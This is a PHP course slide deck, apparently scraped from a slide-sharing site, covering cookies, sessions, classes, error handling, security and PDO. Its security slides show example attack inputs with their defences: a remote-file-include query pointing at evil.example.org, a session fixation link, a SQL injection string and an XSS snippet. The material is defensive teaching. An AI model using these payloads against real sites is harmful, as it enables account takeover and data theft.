Delete a cookieTo remove a cookie, simply overwrite the cookie with a new one with an expiry time in the past…setcookie(‘cookie_name’,’’,time()-6000)Note that theoretically any number taken away from the time() function should do, but due to variations in local computer times, it is advisable to use a day or two.
To be first.. HEADER REQUESTSAs the setcookie command involves sending a HTTP header request, it must be executed before any xhtml is echoed to the browser, including whitespace.echoed whitespace beforesetcookiecorrect!incorrect.
Malicious Cookie UsageThere is a bit of a stigma attached to cookies – and they can be maliciously used (e.g. set via 3rd party banner ads).The important thing to note is that some people browse with them turned off.		e.g. in FF, Tools > Options > Privacy
The USER is in controlCookies are stored client-side, so never trust them completely: They can be easily viewed, modified or created by a 3rd party.They can be turned on and off at will by the user.
Maintaining State in PHPPart II - Sessions
So…
How do ‘Sessions’ work?They are based on assigning each user a unique number, or session id. Even for extremely heavy use sites, this number can for all practical purposes can be regarded as unique. e.g.	26fe536a534d3c7cde4297abb45e275a
How do ‘Sessions’ work?This session id is stored in a cookie, or passed in the URL between pages while the user browses.The data to be stored (e.g. name, log-in state, etc.)  is stored securely server-side in a PHP superglobal, and referenced using the session id.
Crucially, sessions are easy to implement as PHP does all the work!
Starting or Resuming a Sessionsession_start();	PHP does all the work: It looks for a valid session id in the $_COOKIE or $_GET superglobals – if found it initializes the data. If none found, a new session id is created. Note that like setcookie(), this function must be called before any echoed output to browser.
Starting or Resuming a Sessionsession_start();When doing anything with sessions, this is always called first!
Storing Session DataThe $_SESSION superglobal array can be used to store any session data.	e.g. $_SESSION[‘name’] = $name;		$_SESSION[‘age’] = $age;
Reading Session DataData is simply read back from the $_SESSION superglobal array.	e.g. 		$name = $_SESSION[‘name’];		$age = $_SESSION[‘age’];
Session PropagationSessions need to pass the session id between pages as a user browses to track the session. It can do this in two ways:Cookie propagationURL propagation
Cookie PropagationA cookie is stored on the users PC containing the session id.It is read in whenever session_start(); is called to initialize the session.Default behaviour is a cookie that expires when the browser is closed. Cookie properties can be modified with session_set_cookie_params if required.
URL PropagationThe session id is propagated in the URL 	 (…some_folder/index.php?sid=26fe536a534d3c7cde4297abb45e275a)PHP provides a global constant to append the session id to any internal links, SID.	e.g.<a href="nextpage.php?<?=SID?>">Next page</a>
Which one..?The default setup of a PHP server is to use both methods.it checks whether the user has cookies enabled.If cookies are on, PHP uses cookie propagation. If cookies are off it uses URL propagation.
And this means..?That as developers, we must be aware that sessions can be propagated through URL, and append the constant SIDto any internal links.If sessions are being propagated by cookies, the constant SID is an empty string, so the session id is not passed twice.
Destroying a SessionOften not required, but if we want to destroy a session:// clear all session variables$_SESSION = array();// delete the session cookie if there is oneif (isset($_COOKIE[session_name()])) {setcookie(session_name(),'',time()-42000,'/');}// destroy sessionsession_destroy();// avoid reusing the SID by redirecting // back to the same page to regenerate sessionheader('Location: '.$_SERVER['PHP_SELF']);
Session ExpiryBy default, PHP sessions expire:after a certain length of inactivity (default 1440s), the PHP garbage collection processes deletes session variables. Important as most sessions will not be explicitly destroyed.if propagated by cookies, default is to set a cookie that is destroyed when the browser is closed.If URL propagated, session id is lost as soon as navigate away from the site.
Long-term SessionsAlthough it is possible to customize sessions so that they are maintained after the browser is closed, for most practical purposes PHP sessions can be regarded as short-term. Long-term session data (e.g. ‘remember me’ boxes) is usually maintained by explicitly setting and retrieving cookie data.
Session Hi-jackingA security issue: if a malicious user manages to get hold of an active session id that is not their own..	e.g.user 1 browsing site with cookies disabled (URL propagation).user 1 logs in.user 1 sends an interesting link to user 2 by email.. The URL copy and pasted contains his session id. user 2 looks at the link before session id is destroyed, and ‘hijacks’ user 1’s session.user 2 is now logged in as user 1!!
… rule of thumb …	If you are truly security conscious you should assume that a session propagated by URL may be compromised. Propagation using cookies is more secure, but still not foolproof..
PHP Classes and Object Orientation
Reminder… a functionReusable piece of code.Has its own ‘local scope’.function my_func($arg1,$arg2) {<< function statements >>}
Conceptually, what does a function represent? …give the function something (arguments), it does something with them, and then returns a result…Action or Method
What is a class?Conceptually, a class represents an object, with associated methods and variables
Class Definition<?phpclass dog {public $name;public function bark() {echo‘Woof!’;}} ?>An example class definition for a dog. The dog object has a single attribute, the name, and can perform the action of barking.
Class Definition<?phpclass dog {public $name;public function bark() {echo‘Woof!’;}} ?>Define the name of the class.class dog {
Class Definition<?phpclass dog {var $namepublic function bark() {echo‘Woof!’;}} ?>public $name;Define an object attribute (variable), the dog’s name.
Class DefinitionDefine an object action (function), the dog’s bark.<?phpclass dog {public $name;function bark() {echo‘Woof!’;}} ?>public function bark() {echo‘Woof!’;}
Class Definition<?phpclass dog {public $name;public function bark() {echo‘Woof!’;}} ?>End the class definition}
Class DefintionSimilar to defining a function..The definition does not do anythingby itself. It is a blueprint, or description, of an object. To do something, you need to use the class…
Class Usage<?phprequire(‘dog.class.php’);$puppy = new dog();$puppy->name = ‘Rover’;echo “{$puppy->name} says ”;$puppy->bark();?>
Class Usage<?phprequire(‘dog.class.php’);$puppy = new dog();$puppy->name = ‘Rover’;echo “{$puppy->name} says ”;$puppy->bark();?>require(‘dog.class.php’);Include the class definition
Class Usage<?phprequire(‘dog.class.php’);$puppy = new dog();$puppy->name = ‘Rover’;echo “{$puppy->name} says ”;$puppy->bark();?>$puppy = new dog();Create a new instance of the class.
Class Usage<?phprequire(‘dog.class.php’);$puppy = new dog();$puppy->name = ‘Rover’;echo “{$puppy->name} says ”;$puppy->bark();?>$puppy->name = ‘Rover’;Set the name variable of this instance to ‘Rover’.
Class UsageUse the name variable of this instance in an echo statement..<?phprequire(‘dog.class.php’);$puppy = new dog();$puppy->name = ‘Rover’;echo “{$puppy->name} says ”;$puppy->bark();?>echo “{$puppy->name} says ”;
Class Usage<?phprequire(‘dog.class.php’);$puppy = new dog();$puppy->name = ‘Rover’;echo “{$puppy->name} says ”;$puppy->bark();?>$puppy->bark();Use the dog object bark method.
Class Usage<?phprequire(‘dog.class.php’);$puppy = new dog();$puppy->name = ‘Rover’;echo “{$puppy->name} says ”;$puppy->bark();?>[example file: classes1.php]
One dollar and one only…$puppy->name = ‘Rover’;The most common mistake is to use more than one dollar sign when accessing variables. The following means something entirely different..$puppy->$name = ‘Rover’;
Using attributes within the class..If you need to use the class variables within any class actions, use the special variable $this in the definition:	class dog {public $name;public function bark() {echo $this->name.‘ says Woof!’; }	}
Constructor methodsA constructor method is a function that is automatically executed when the class is first instantiated.Create a constructor by including a function within the class definition with the __construct name.Remember.. if the constructor requires arguments, they must be passed when it is instantiated!
Constructor Example<?phpclass dog {public $name;public function__construct($nametext) {		$this->name = $nametext;	}public function bark() {echo ‘Woof!’;}} ?>Constructor function
Constructor Example<?php…$puppy = new dog(‘Rover’);		…?>Constructor arguments are passed during the instantiation of the object.
Class ScopeLike functions, each instantiated object has its own local scope.	e.g. if 2 different dog objects are instantiated, $puppy1 and $puppy2, the two dog names $puppy1->name and $puppy2->name are entirely independent..
InheritanceThe real power of using classes is the property of inheritance – creating a hierarchy of interlinked classes. dogparentchildrenpoodlealsatian
InheritanceThe child classes ‘inherit’ all the methods and variables of the parent class, and can add extra ones of their own. 	e.g. the child classes poodle inherits the variable ‘name’ and method ‘bark’ from the dog class, and can add extra ones…
Inheritance exampleThe American Kennel Club (AKC) recognizes three sizes of poodle -  Standard,Miniature, and Toy… 		class poodle extends dog {public $type;public function set_type($height) {if ($height<10) { 					$this->type = ‘Toy’;				} elseif ($height>15) {					$this->type = ‘Standard’;				} else {					$this->type = ‘Miniature’;				}			}		}
Inheritance exampleThe American Kennel Club (AKC) recognizes three sizes of poodle -  Standard,Miniature, and Toy… 		class poodle extends dog {public $typepublic function set_type($height) {if ($height<10) { 					$this->type = ‘Toy’;				} elseif ($height>15) {					$this->type = ‘Standard’;				} else {					$this->type = ‘Miniature’;				}			}		}class poodle extends dog {Note the use of the extends keyword to indicate that the poodle class is a child of the dog class…
Inheritance example…$puppy = new poodle(‘Oscar’);$puppy->set_type(12); // 12 inches high!echo“Poodle is called {$puppy->name}, ”;echo“of type {$puppy->type}, saying “;echo $puppy->bark();…
…a poodle will always ‘Yip!’It is possible to over-ride a parent method with a new method if it is given the same name in the child class..		class poodle extends dog {			…public function bark() {echo ‘Yip!’;			}			…		}
Child Constructors?If the child class possesses a constructor function, it is executed and any parent constructor is ignored.If the child class does not have a constructor, the parent’s constructor is executed.If the child and parent does not have a constructor, the grandparent constructor is attempted…… etc.
Objects within ObjectsIt is perfectly possible to include objects within another object..class dogtag {    public $words;}class dog {    public $name;    public $tag;    public function bark() {        echo "Woof!\n";    }} …$puppy = new dog;$puppy->name = “Rover";$poppy->tag = new dogtag;$poppy->tag->words = “blah”;…
Deleting objectsSo far our objects have not been destroyed till the end of our scripts..Like variables, it is possible to explicitly destroy an object using the unset() function.
A copy, or not a copy..Entire objects can be passed as arguments to functions, and can use all methods/variables within the function. Remember however.. like functions the object is COPIED when passed as an argument unless you specify the argument as a reference variable &$variable
Why Object Orientate?Reason 1	Once you have your head round the concept of objects, intuitively named object orientated code becomes easy to understand.	e.g. 		 $order->display_basket();		 $user->card[2]->pay($order);		 $order->display_status();
Why Object Orientate?Reason 2	Existing code becomes easier to maintain.e.g. If you want to extend the capability of a piece of code, you can merely edit the class definitions…
Why Object Orientate?Reason 3	New code becomes much quicker to write once you have a suitable class library.e.g. Need a new object..? Usually can extend an existing object. A lot of high quality code is distributed as classes (e.g. http://pear.php.net).
There is a lot more…We have really only touched the edge of object orientated programming…http://www.php.net/manual/en/language.oop.php… but I don’t want to confuse you too much!
PHP4 vs. PHP5OOP purists will tell you that the object support in PHP4 is sketchy. They are right, in that a lot of features are missing.PHP5 OOP system has had a big redesign and is much better. 	…but it is worth it to produce OOP code in either PHP4 or PHP5…
PHP Error Handling
Types There are 12 unique error types, which canbe grouped into 3 main categories:Informational (Notices)Actionable (Warnings)Fatal
Informational ErrorsHarmless problem, and can be avoided through use of explicit programming.	e.g. use of an undefined variable, defining a string without quotes, etc. See class example error1.php
Actionable ErrorsIndicate that something clearly wrong has happened and that action should be taken.	e.g. file not present, database not available, missing function arguments, etc.See class example error2.php
Fatal ErrorsSomething so terrible has happened during execution of your script that further processing simply cannot continue.	e.g. parsing error, calling an undefined function, etc. See class example error3.php
Identifying Errorsnoticewarningfatal
Causing errorsIt is possible to cause PHP at any point in your script.trigger_error($msg,$type);e.g.…if (!$db_conn) {trigger_error(‘db conn failed’,E_USER_ERROR);	}	…
PHP Error Handling
Customizing Error HandlingGenerally, how PHP handles errors is defined by various constants in the installation (php.ini). There are several things you can control in your scripts however..
1. Set error reporting settingserror_reporting($level)	This function can be used to control which errors are displayed, and which are simply ignored.  The effect only lasts for the duration of the execution of your script.
1. Set error reporting settings<?php// Turn off all error reportingerror_reporting(0);// Report simple running errorserror_reporting(E_ERROR | E_WARNING | E_PARSE);// Reporting E_NOTICE can be good too (to report uninitialized// variables or catch variable name misspellings ...)error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);// Report all errors except E_NOTICEerror_reporting(E_ALL ^ E_NOTICE);// Report ALL PHP errorserror_reporting(E_ALL);?>See class example error4.php
1. Set error reporting settingsHiding errors is NOT a solution to a problem. It is useful, however, to hide any errors produced on a live server. While developing and debugging code, displaying all errors is highly recommended!
2. Suppressing ErrorsThe special @ operator can be used to suppress function errors. Any error produced by the function is suppressed and not displayed by PHP regardless of the error reporting setting.
2. Suppressing Errors$db = @mysql_connect($h,$u,$p);if (!$db) {trigger_error(‘blah’,E_USER_ERROR);}
2. Suppressing Errors$db = @mysql_connect($h,$u,$p);if (!$db) {trigger_error(blah.',E_USER_ERROR);}$db = @mysql_connect($h,$u,$p);Attempt to connect to database. Suppress error notice if it fails..
2. Suppressing Errors$db = @mysql_connect($h,$u,$p);if (!$db) {trigger_error(blah.',E_USER_ERROR);}Since error is suppressed, it must be handled gracefully somewhere else..if (!$db) {trigger_error(‘blah’,E_USER_ERROR);}
2. Suppressing ErrorsError suppression is NOT a solution to a problem.It can be useful to locally define your own error handling mechanisms.If you suppress any errors, you must check for them yourself elsewhere.
3. Custom Error HandlerYou can write your own function to handle PHP errors in any way you want. You simply need to write a function with appropriate inputs, then register it in your script as the error handler.The handler function should be able to receive 4 arguments, and return true to indicate it has handled the error…
3. Custom Error Handlerfunction err_handler(	$errcode,$errmsg,$file,$lineno) {echo‘An error has occurred!<br />’;echo“file: $file<br />”;echo“line: $lineno<br />”;echo“Problem: $errmsg”;return true;}
3. Custom Error Handlerfunction err_handler(	$errcode,$errmsg,$file,$lineno) {echo‘An error has occurred!<br />’;echo“file: $file<br />”;echo“line: $lineno<br />”;echo“Problem: $errmsg”;return true;}$errcode,$errmsg,$file,$lineno) {The handler must have 4 inputs..error codeerror messagefile where error occurredline at which error occurred
3. Custom Error Handlerfunction err_handler(	$errcode,$errmsg,$file,$lineno) {echo‘An error has occurred!<br />’;echo“file: $file<br />”;echo“line: $lineno<br />”;echo“Problem: $errmsg”;return true;}echo‘An error has occurred!<br />’;echo“file: $file<br />”;echo“line: $lineno<br />”;echo“Problem: $errmsg”;Any PHP statements can be executed…
3. Custom Error Handlerfunction err_handler(	$errcode,$errmsg,$file,$lineno) {echo‘An error has occurred!<br />’;echo“file: $file<br />”;echo“line: $lineno<br />”;echo“Problem: $errmsg”;return true;}Return true to let PHP knowthat the custom error handlerhas handled the error OK.return true;
3. Custom Error HandlerThe function then needs to be registered as your custom error handler:set_error_handler(‘err_handler’);You can ‘mask’ the custom error handler so it only receives certain types of error. e.g. to register a custom handler just for user triggered errors:set_error_handler(‘err_handler’,		E_USER_NOTICE | E_USER_WARNING | E_USER_ERROR);
3. Custom Error HandlerA custom error handler is never passed E_PARSE, E_CORE_ERROR or E_COMPILE_ERROR errors as these are considered too dangerous.Often used in conjunction with a ‘debug’ flag for neat combination of debug and production code display..See class example error5.php
ReviewVarious different error types exist in PHP. The error handling system is highly flexible, and your own error handling methods can be developed.
PHP Security
Two Golden RulesFILTER external inputObvious.. $_POST, $_COOKIE, etc.
Less obvious.. $_SERVERESCAPE outputClient browser
MYSQL databaseTwo Golden RulesCookiexhtmlFilterEscapePHP ScriptFormsMYSQLReferer, etc.
FilteringProcess by which you inspect data to prove its validity.Adopt a whitelist approach if possible: assume the data is invalid unless you can prove otherwise.Useless unless you can keep up with what has been filtered and what hasn’t…
Filter example$clean = array();if (ctype_alnum($_POST['username'])){$clean['username'] = $_POST['username'];}
Filter example$clean = array();if (ctype_alnum($_POST['username'])){$clean['username'] = $_POST['username'];}$clean = array();Initialise an array to store filtered data.
Filter example$clean = array();if (ctype_alnum($_POST['username'])){$clean['username'] = $_POST['username'];}if (ctype_alnum($_POST['username']))Inspect username to make sure that it is alphanumeric.
Filter example$clean = array();if (ctype_alnum($_POST['username'])){$clean['username'] = $_POST['username'];}$clean['username'] = $_POST['username'];If it is, store it in the array.
Escaping OutputProcess by which you escape characters that have a special meaning on a remote system.Unless you’re sending data somewhere unusual, there is probably a function that does this for you..The two most common outputs are xhtml to the browser (use htmlentities()) or a MYSQL db (use mysql_real_escape_string()).
Escape example$xhtml = array();$xhtml['username'] = htmlentities($clean['username'],ENT_QUOTES,'UTF-8');echo"<p>Welcome back, {$xhtml['username']}.</p>";
Escape example$xhtml = array();$xhtml['username'] = htmlentities($clean['username'],ENT_QUOTES,'UTF-8');echo"<p>Welcome back, {$xhtml['username']}.</p>";$xhtml = array();Initialize an array for storing escaped data.
Escape example$xhtml = array();$xhtml['username'] = htmlentities($clean['username'],ENT_QUOTES,'UTF-8');echo"<p>Welcome back, {$xhtml['username']}.</p>";$xhtml['username'] = htmlentities($clean['username'],ENT_QUOTES,'UTF-8');Escape the filtered username, and store it in the array.
Escape example$xhtml = array();$xhtml['username'] = htmlentities($clean['username'],ENT_QUOTES,'UTF-8');echo"<p>Welcome back, {$xhtml['username']}.</p>";echo"<p>Welcome back, {$xhtml['username']}.</p>";Send the filtered and escaped username to the client.
That’s it!If you follow these rules religiously, you will produce secure code that is hard to break.If you don’t, you will be susceptible to..	Next: COMMON ATTACK METHODS
Register Globals: Eh?All superglobal variable array indexes are available as variable names..	e.g. in your scripts:$_POST[‘name’] is available as $name	$_COOKIE[‘age’] is available as $ageMost PHP installations have this option turned off, but you should make sure your code is secure if it is turned on.
Register Globals: Example<?phpinclude"$path/script.php"; ?>	If you forget to initialise $path, and have register_globals enabled, the page can be requested with ?path=https%3A%2F%2Fp.rizon.top%3A443%2Fhttp%2Fevil.example.org%2F%3F in the query string in order to equate this example to the following:include'http://evil.example.org/?/script.php';	i.e. a malicious user can include any script in your code..
Register Globals: SolutionBe aware that with register globals on, any user can inject a variable of any name into your PHP scripts.ALWAYS EXPLICITLY INITIALISE YOUR OWN VARIABLES!
Spoofed Forms: Eh?Be aware that anybody can write their own forms and submit them to your PHP scripts. For example, using a select, checkbox or radio button form input does not guarantee that the data submitted will be one of your chosen options…
Spoofed Forms: ExampleThe form written by a web developer to be submitted to a page:<form action="/process.php" method="POST"> 	<select name="colour"> 		<option value="red">red</option> 		<option value="green">green</option> 		<option value="blue">blue</option> 	</select> 	<input type="submit" /> </form> The user writes their own form to submit to the same page:<form action="http://example.org/process.php" method="POST">	<input type="text" name="colour" /> 	<input type="submit" /> </form>
Spoofed Forms: SolutionUsers can submit whatever they like to your PHP page… and it will be accepted as long as it conforms to your rules.Make sure all your rules are checked by the PHP external data filter, don’t rely on a form to exert rules for you.. They can be changed!
Session Fixation: Eh?Session attacks nearly always involve impersonation – the malicious user is trying to ‘steal’ someone else’s session on your site.The crucial bit of information to obtain is the session id, and session fixation is a technique of stealing this id.
Session Fixation: Eh?1. The malicious user hosts a page with links to your site/emails around spam links to your site with a session id already set. … <a href=“http://example.com/index.php?PHPSESSID=1234” …
Session Fixation: Eh?2. A client follows one of these links and is directed to your site, where they login.3. Now.. the malicious user knows the session id (he/she set it!), and can ‘hijack’ the session by browsing to your site using the same session id.4. Malicious user is now logged in as one of your legitimate clients. Ooops.
Session Fixation: SolutionTo protect against this type of attack, first consider that hijacking a session is only really useful after the user has logged in or otherwise obtained a heightened level of privilege.If we regenerate the session identifier whenever there is any change in privilege level (for example, after verifying a username and password), we will have practically eliminated the risk of a successful session fixation attack.
Session Fixation: Solutionsession_regenerate_id()	Conveniently, PHP has a function that does all the work for you, and regenerates the session id. Regenerate the session id using this function before any change in privilege level.
SQL Injection: Eh?The goal of SQL injection is to insert arbitrary data, most often a database query, into a string that’s eventually executed by the database.
SQL Injection: ExampleConsider this query executed in PHP on a MYSQL db, where the email text has been submitted from the user:“SELECT * FROM members 	 WHERE email = ‘{$_POST[‘email’]}’”
SQL Injection: ExampleThe use of $_POST[..] in the query should immediately raise warning flags. Consider if a user submitted the following email: dummy’ OR ‘x’=‘xThe query now becomes,SELECT * FROM members WHERE email = ‘dummy’ OR ‘x’=‘x’	..which will return the details of all members!
SQL Injection: SolutionFilter input data.Quote your data. If your database allows it (MySQL does), put single quotes around all values in your SQL statements, regardless of the data type.Escape your data. For a MySQL db, use the function mysql_real_escape_string()
Accessing CredentialsSometimes you need to store sensitive data on your server such as database passwords, usernames, etc. There are various options…
Accessing CredentialsDon’t store passwords in an included file without a *.php extension but in a web accessible directory…!You can store in a *.php file under the root (i.e. web accessible). OK, but not great. If your PHP parse engine fails, this data will be on plain view to the entire world.Better, is to keep as much code as possible, including definition of passwords, in included files outside of the web accessible directories.With an Apache server, there are various techniques to include passwords and usernames as environment variables, accessed in PHP by the $_SERVER superglobal.worstbest
Cross-Site Scripting (XSS)This is a good example of why you should always escape all output, even for xhtml…echo"<p>Welcome back, {$_GET['username']}.</p>";echo"<p>Welcome back, <script>...</script>.</p>";
XXS: The SolutionAnd again..Filter input.Escape Output.Be especially careful if you are writing user input to a file, which is later included into your page.. Without checking, the user can then write their own PHP scripts for inclusion.
The ‘magic’ of PHPRecent versions of PHP have gone some way to tightening security, and one of the newer things is ‘magic quotes’. If turned on, this automatically escapes quotation marks and backslashes in any incoming data.Although useful for beginners, it cannot be relied upon if you want to write portable code.http://docs.php.net/en/security.magicquotes.html
The ‘magic’ of PHP: banished!To know where you are starting from, you can use the get_magic_quotes_gpc() function to tell if they are on or off.To start from a consistent point, use stripslashes() to remove any escape characters added by ‘magic quotes’.	e.g.if (get_magic_quotes_gpc()) {	$thing = stripslashes($_POST[‘thing’]);	}
Phew.. But don’t panic!Open Source PHP code needs to be rock solid in terms of security, as everyone can look through the code.In your bespoke solutions, malicious users will have to try to guess.. Much harder!
ReviewFilter Input +Escape Output=Secure Code
PHP Data Object (PDO)
What is PDO? PDO is a PHP extension to formalise PHP's database connections by creating a uniform interface. This allows developers to create code which is portable across many databases and platforms.PDO is not just another abstraction layer like PEAR DB or ADOdb.
Why use PDO? PortabilityPerformancePowerEasy Runtime Extensible
What databases does it support?Microsoft SQL Server / Sybase Firebird / InterbaseDB2 / INFORMIX (IBM) MySQLOCI (Oracle Call Interface)ODBCPostgreSQL SQLite
DSNsIn generaldrivername:<driver-specific-stuff>mysql:host=name;dbname=dbnameodbc:odbc_dsnoci:dbname=dbname;charset=charsetsqlite:/path/to/db/filesqlite::memory:
Connect to MySQL
Connect to SQLite (file)
Connect to SQLite (memory)
Connect to Oracle
Connect to ODBC
Close a Database Connection
Persistent PDO ConnectionConnection stays alive between requests$dbh = new PDO($dsn, $user, $pass,		array(  			PDO_ATTR_PERSISTENT => true		));
PDO Query (INSERT)
PDO Query (UPDATE)
PDO Query (SELECT)
Error Handling (1)
Error Handling (2)
Error Handling (3)

More Related Content

What's hot (20)

clean code book summary - uncle bob - English version
clean code book summary - uncle bob - English versionclean code book summary - uncle bob - English version
clean code book summary - uncle bob - English version
saber tabatabaee
 
jQuery for beginners
jQuery for beginnersjQuery for beginners
jQuery for beginners
Arulmurugan Rajaraman
 
HTML5: features with examples
HTML5: features with examplesHTML5: features with examples
HTML5: features with examples
Alfredo Torre
 
Closure
ClosureClosure
Closure
Xiaojun REN
 
Use Node.js to create a REST API
Use Node.js to create a REST APIUse Node.js to create a REST API
Use Node.js to create a REST API
Fabien Vauchelles
 
Workshop 21: React Router
Workshop 21: React RouterWorkshop 21: React Router
Workshop 21: React Router
Visual Engineering
 
TypeScript: coding JavaScript without the pain
TypeScript: coding JavaScript without the painTypeScript: coding JavaScript without the pain
TypeScript: coding JavaScript without the pain
Sander Mak (@Sander_Mak)
 
JavaScript Promises
JavaScript PromisesJavaScript Promises
JavaScript Promises
L&T Technology Services Limited
 
JavaScript - Chapter 4 - Types and Statements
 JavaScript - Chapter 4 - Types and Statements JavaScript - Chapter 4 - Types and Statements
JavaScript - Chapter 4 - Types and Statements
WebStackAcademy
 
Php array
Php arrayPhp array
Php array
Nikul Shah
 
React Hooks
React HooksReact Hooks
React Hooks
Erez Cohen
 
Spring Boot
Spring BootSpring Boot
Spring Boot
Pei-Tang Huang
 
Functional programming with Java 8
Functional programming with Java 8Functional programming with Java 8
Functional programming with Java 8
LivePerson
 
Why TypeScript?
Why TypeScript?Why TypeScript?
Why TypeScript?
FITC
 
JavaScript - Chapter 8 - Objects
 JavaScript - Chapter 8 - Objects JavaScript - Chapter 8 - Objects
JavaScript - Chapter 8 - Objects
WebStackAcademy
 
Rest api with node js and express
Rest api with node js and expressRest api with node js and express
Rest api with node js and express
GirlsInTechnology Nepal
 
Java 8 lambda
Java 8 lambdaJava 8 lambda
Java 8 lambda
Manav Prasad
 
Java 8 Lambda Expressions
Java 8 Lambda ExpressionsJava 8 Lambda Expressions
Java 8 Lambda Expressions
Scott Leberknight
 
Php
PhpPhp
Php
Ajaigururaj R
 
Node.js Express
Node.js  ExpressNode.js  Express
Node.js Express
Eyal Vardi
 

Viewers also liked (20)

SQL Tutorial for Marketers
SQL Tutorial for MarketersSQL Tutorial for Marketers
SQL Tutorial for Marketers
Justin Mares
 
Wireframes - a brief overview
Wireframes - a brief overviewWireframes - a brief overview
Wireframes - a brief overview
Jenni Leder
 
How to Plug a Leaky Sales Funnel With Facebook Retargeting
How to Plug a Leaky Sales Funnel With Facebook RetargetingHow to Plug a Leaky Sales Funnel With Facebook Retargeting
How to Plug a Leaky Sales Funnel With Facebook Retargeting
Digital Marketer
 
Stop Leaving Money on the Table! Optimizing your Site for Users and Revenue
Stop Leaving Money on the Table! Optimizing your Site for Users and RevenueStop Leaving Money on the Table! Optimizing your Site for Users and Revenue
Stop Leaving Money on the Table! Optimizing your Site for Users and Revenue
Josh Patrice
 
Using Your Growth Model to Drive Smarter High Tempo Testing
Using Your Growth Model to Drive Smarter High Tempo TestingUsing Your Growth Model to Drive Smarter High Tempo Testing
Using Your Growth Model to Drive Smarter High Tempo Testing
Sean Ellis
 
Optimize Your Sales & Marketing Funnel
Optimize Your Sales & Marketing FunnelOptimize Your Sales & Marketing Funnel
Optimize Your Sales & Marketing Funnel
HubSpot
 
The Essentials of Community Building by Mack Fogelson
The Essentials of Community Building by Mack FogelsonThe Essentials of Community Building by Mack Fogelson
The Essentials of Community Building by Mack Fogelson
Mackenzie Fogelson
 
Biz Dev 101 - An Interactive Workshop on How Deals Get Done
Biz Dev 101 - An Interactive Workshop on How Deals Get DoneBiz Dev 101 - An Interactive Workshop on How Deals Get Done
Biz Dev 101 - An Interactive Workshop on How Deals Get Done
Scott Pollack
 
The Beginners Guide to Startup PR #startuppr
The Beginners Guide to Startup PR #startupprThe Beginners Guide to Startup PR #startuppr
The Beginners Guide to Startup PR #startuppr
Onboardly
 
The Science of Marketing Automation
The Science of Marketing AutomationThe Science of Marketing Automation
The Science of Marketing Automation
HubSpot
 
Google Analytics Fundamentals: Set Up and Basics for Measurement
Google Analytics Fundamentals: Set Up and Basics for MeasurementGoogle Analytics Fundamentals: Set Up and Basics for Measurement
Google Analytics Fundamentals: Set Up and Basics for Measurement
Orbit Media Studios
 
Some Advanced Remarketing Ideas
Some Advanced Remarketing IdeasSome Advanced Remarketing Ideas
Some Advanced Remarketing Ideas
Chris Thomas
 
Lean Community Building: Getting the Most Bang for Your Time & Money
Lean Community Building: Getting the Most Bang for  Your Time & MoneyLean Community Building: Getting the Most Bang for  Your Time & Money
Lean Community Building: Getting the Most Bang for Your Time & Money
Jennifer Lopez
 
The Science behind Viral marketing
The Science behind Viral marketingThe Science behind Viral marketing
The Science behind Viral marketing
David Skok
 
Intro to Facebook Ads
Intro to Facebook AdsIntro to Facebook Ads
Intro to Facebook Ads
Ximena Sanchez
 
Intro to Mixpanel
Intro to MixpanelIntro to Mixpanel
Intro to Mixpanel
Gilman Tolle
 
Understand A/B Testing in 9 use cases & 7 mistakes
Understand A/B Testing in 9 use cases & 7 mistakesUnderstand A/B Testing in 9 use cases & 7 mistakes
Understand A/B Testing in 9 use cases & 7 mistakes
TheFamily
 
LinkedIn Ads Platform Master Class
LinkedIn Ads Platform Master ClassLinkedIn Ads Platform Master Class
LinkedIn Ads Platform Master Class
LinkedIn
 
HTML & CSS Masterclass
HTML & CSS MasterclassHTML & CSS Masterclass
HTML & CSS Masterclass
Bernardo Raposo
 
How to: Viral Marketing + Brand Storytelling
How to: Viral Marketing + Brand Storytelling How to: Viral Marketing + Brand Storytelling
How to: Viral Marketing + Brand Storytelling
Elle Shelley
 
SQL Tutorial for Marketers
SQL Tutorial for MarketersSQL Tutorial for Marketers
SQL Tutorial for Marketers
Justin Mares
 
Wireframes - a brief overview
Wireframes - a brief overviewWireframes - a brief overview
Wireframes - a brief overview
Jenni Leder
 
How to Plug a Leaky Sales Funnel With Facebook Retargeting
How to Plug a Leaky Sales Funnel With Facebook RetargetingHow to Plug a Leaky Sales Funnel With Facebook Retargeting
How to Plug a Leaky Sales Funnel With Facebook Retargeting
Digital Marketer
 
Stop Leaving Money on the Table! Optimizing your Site for Users and Revenue
Stop Leaving Money on the Table! Optimizing your Site for Users and RevenueStop Leaving Money on the Table! Optimizing your Site for Users and Revenue
Stop Leaving Money on the Table! Optimizing your Site for Users and Revenue
Josh Patrice
 
Using Your Growth Model to Drive Smarter High Tempo Testing
Using Your Growth Model to Drive Smarter High Tempo TestingUsing Your Growth Model to Drive Smarter High Tempo Testing
Using Your Growth Model to Drive Smarter High Tempo Testing
Sean Ellis
 
Optimize Your Sales & Marketing Funnel
Optimize Your Sales & Marketing FunnelOptimize Your Sales & Marketing Funnel
Optimize Your Sales & Marketing Funnel
HubSpot
 
The Essentials of Community Building by Mack Fogelson
The Essentials of Community Building by Mack FogelsonThe Essentials of Community Building by Mack Fogelson
The Essentials of Community Building by Mack Fogelson
Mackenzie Fogelson
 
Biz Dev 101 - An Interactive Workshop on How Deals Get Done
Biz Dev 101 - An Interactive Workshop on How Deals Get DoneBiz Dev 101 - An Interactive Workshop on How Deals Get Done
Biz Dev 101 - An Interactive Workshop on How Deals Get Done
Scott Pollack
 
The Beginners Guide to Startup PR #startuppr
The Beginners Guide to Startup PR #startupprThe Beginners Guide to Startup PR #startuppr
The Beginners Guide to Startup PR #startuppr
Onboardly
 
The Science of Marketing Automation
The Science of Marketing AutomationThe Science of Marketing Automation
The Science of Marketing Automation
HubSpot
 
Google Analytics Fundamentals: Set Up and Basics for Measurement
Google Analytics Fundamentals: Set Up and Basics for MeasurementGoogle Analytics Fundamentals: Set Up and Basics for Measurement
Google Analytics Fundamentals: Set Up and Basics for Measurement
Orbit Media Studios
 
Some Advanced Remarketing Ideas
Some Advanced Remarketing IdeasSome Advanced Remarketing Ideas
Some Advanced Remarketing Ideas
Chris Thomas
 
Lean Community Building: Getting the Most Bang for Your Time & Money
Lean Community Building: Getting the Most Bang for  Your Time & MoneyLean Community Building: Getting the Most Bang for  Your Time & Money
Lean Community Building: Getting the Most Bang for Your Time & Money
Jennifer Lopez
 
The Science behind Viral marketing
The Science behind Viral marketingThe Science behind Viral marketing
The Science behind Viral marketing
